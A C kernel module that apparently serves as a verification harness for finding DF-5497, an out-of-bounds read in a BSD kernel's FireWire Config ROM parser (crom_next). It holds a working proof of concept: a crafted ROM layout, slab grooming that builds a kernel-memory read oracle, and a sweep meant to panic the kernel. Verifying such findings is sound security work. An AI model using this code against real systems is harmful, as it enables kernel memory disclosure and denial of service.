DF-5497 / df5497.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 | /* * DF-5497 verification harness (KLD, production code). * * Finding: crom_next() derives a nested-directory pointer from the * unvalidated 24-bit entry value * * sys/bus/firewire/fwcrom.c:122 * ptr->dir = (struct csrdirectory *) (reg + reg->val); * * and dereferences it * * sys/bus/firewire/fwcrom.c:130 * if (ptr->index < ptr->dir->crc_len && ... * sys/bus/firewire/fwcrom.c:134 * if (ptr->index < ptr->dir->crc_len) * * BEFORE any bounds check. reg->val is u_int32_t:24 (iec13213.h:124-132), * i.e. 0..0xffffff quadlets => the kernel reads 4 bytes at * ROMbase + up to +64 MB, chosen by the peer device. The CROM_END * comparison on the following operand of the && would have rejected the * directory -- but it runs after the faulting load. * * Production trigger chain (statically verified, path:line): * FireWire bus reset -> fw_bus_explore() reads the peer Config ROM * quadlet by quadlet into fwdev->csrrom[CSRROMSIZE/4] (firewire.c:1500, * firewirereg.h:52-54 -- 1024-byte buffer, contents 100% device data) * sbp(4) attach/probe on every fwdev: * sbp.c:412 / sbp.c:468 / sbp.c:567 / sbp.c:602 * crom_init_context(&cc, target->fwdev->csrrom) * sbp.c:416 / sbp.c:472 / sbp.c:568 / sbp.c:604-619 * crom_search_key(&cc, ...) -- crom_next() walk * A peer ROM whose root (or any) directory holds a CSRTYPE_D entry * (0xc0-0xff keys -- every real unit directory, key 0xd1, qualifies) * with val = V makes the kernel load 4 bytes at * csrrom + 24 + 4*V, V up to 0xffffff (+64 MB). * * The guest has no FireWire controller (hardware-gated finding), so the * harness models exactly the buffer the production code is invoked on -- * kmalloc'd 1024-byte csrrom stand-in, device-controlled contents -- and * drives the PRODUCTION crom_init_context()/crom_next() compiled into * this module via #include (fwcrom.c symbols renamed with -D in the * Makefile so they do not collide with the copy in the guest kernel). * * Modes (sysctl kern.df5497_mode, fire with kern.df5497_fire=1): * 1 = oracle : 5 descents to +1.2 KB .. +64 KB past the buffer. * Kernel heap there is mapped, so no fault: instead each descent * prints "crom_next: bound check failed" (fwcrom.c:135) iff the * foreign 16-bit crc_len word read OOB was non-zero => a 1-bit * kernel-memory oracle per crafted val, on the production console * path. * 2 = sweep : 16 descents, +4 MB .. +64 MB past the buffer in 4 MB * steps. The kmem heap arena is far smaller than 64 MB, so a step * lands in unmapped kernel_map space: Fatal trap 12 in crom_next * (expect panic; mapped steps print the oracle line first). */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/sysctl.h> #include <sys/malloc.h> #include <sys/types.h> /* PRODUCTION parser: sys/bus/firewire/fwcrom.c, unmodified. * Globals renamed by -D in the Makefile (dfh_*). */ #include <bus/firewire/fwcrom.c> static int df5497_mode = 1; static int df5497_fire = 0; SYSCTL_INT(_kern, OID_AUTO, df5497_mode, CTLFLAG_RW, &df5497_mode, 0, "harness case: 1=oracle (+KB offsets), 2=panic sweep (+MB offsets)"); #define ROMQUADS (1024 / 4) /* 256 quads, as fwdev->csrrom[] */ static int df5497_run(void) { struct crom_context cc; u_int32_t *rom, *groom[64]; int i, n, step; /* * Slab groom so the oracle is observable: fill 64 same-class * 1024-byte blocks with a quadlet pattern whose 16-bit crc_len * field is 1 (non-zero), free every other block in the middle of * the array, then allocate the model ROM -- it reuses one of the * holes, surrounded by patterned, still-mapped neighbours. Every * OOB crc_len load that lands on a neighbour now reads 1 and the * production "crom_next: bound check failed" line fires (an * observable 1-bit kernel-memory oracle per crafted val). */ for (i = 0; i < 64; i++) { groom[i] = kmalloc(1024, M_TEMP, M_WAITOK); for (n = 0; n < 256; n++) groom[i][n] = 1 << 16; /* crc_len = 1 */ } for (i = 8; i < 56; i += 2) { kfree(groom[i], M_TEMP); groom[i] = NULL; } rom = kmalloc(1024, M_TEMP, M_WAITOK | M_ZERO); if (rom == NULL) return (ENOMEM); /* Device-controlled contents, laid out for crom_init_context(): * Q0 : csrhdr { info_len = 4 } (LE: 4 << 24) * Q1-4: bus_info block (don't care) * Q5 : root dir header { crc_len = n } (LE: n << 16) * Q6-: root entries { key = 0xd1 (CSRTYPE_D|CSRKEY_UNIT), val = V } * LE csrreg: val in bits 0..23, key in bits 24..31. */ rom[0] = 4 << 24; if (df5497_mode == 1) { static const int vals[5] = { 300, 400, 1000, 2048, 4096 }; n = 5; rom[5] = n << 16; for (i = 0; i < n; i++) rom[6 + i] = (0xd1u << 24) | (vals[i] & 0xffffff); kprintf("DF5497 mode1: 5 descents at +%d..+%d bytes past the " "1024-byte ROM, slab groomed with crc_len=1 pattern: " "expect 'crom_next: bound check failed' oracle lines, " "no fault\n", 24 + 4 * vals[0], 24 + 4 * vals[n - 1]); } else { n = 16; step = 0x100000; /* quadlets: +4 MB per step */ rom[5] = n << 16; for (i = 0; i < n; i++) rom[6 + i] = (0xd1u << 24) | (((i + 1) * step) & 0xffffff); kprintf("DF5497 mode2: 16 descents at +4 MB..+64 MB past the " "ROM in 4 MB steps: expect oracle lines then Fatal trap 12 " "in dfh_crom_next (unmapped kernel_map page)\n"); } /* Production walk, exactly as sbp.c:412-425 drives it. */ dfh_crom_init_context(&cc, rom); i = 0; while (cc.depth >= 0) { dfh_crom_next(&cc); i++; } kfree(rom, M_TEMP); for (i = 0; i < 64; i++) if (groom[i] != NULL) kfree(groom[i], M_TEMP); kprintf("DF5497 mode%d: walk finished after %d crom_next() calls, " "depth=%d -- UNEXPECTEDLY no fault (all probe offsets mapped)\n", df5497_mode, i, cc.depth); return (0); } static int df5497_sysctl_fire(SYSCTL_HANDLER_ARGS) { int error, val = df5497_fire; error = sysctl_handle_int(oidp, &val, 0, req); if (error != 0 || req->newptr == NULL) return (error); if (val == 1) df5497_run(); df5497_fire = val; return (0); } SYSCTL_PROC(_kern, OID_AUTO, df5497_fire, CTLTYPE_INT | CTLFLAG_RW, 0, 0, df5497_sysctl_fire, "I", "write 1 to fire the current df5497 case"); static int df5497_modeh(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: kprintf("DF5497 harness loaded (production fwcrom.c)\n"); return (0); case MOD_UNLOAD: return (0); default: return (EOPNOTSUPP); } } static moduledata_t df5497_mod = { "df5497", df5497_modeh, 0 }; DECLARE_MODULE(df5497, df5497_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); |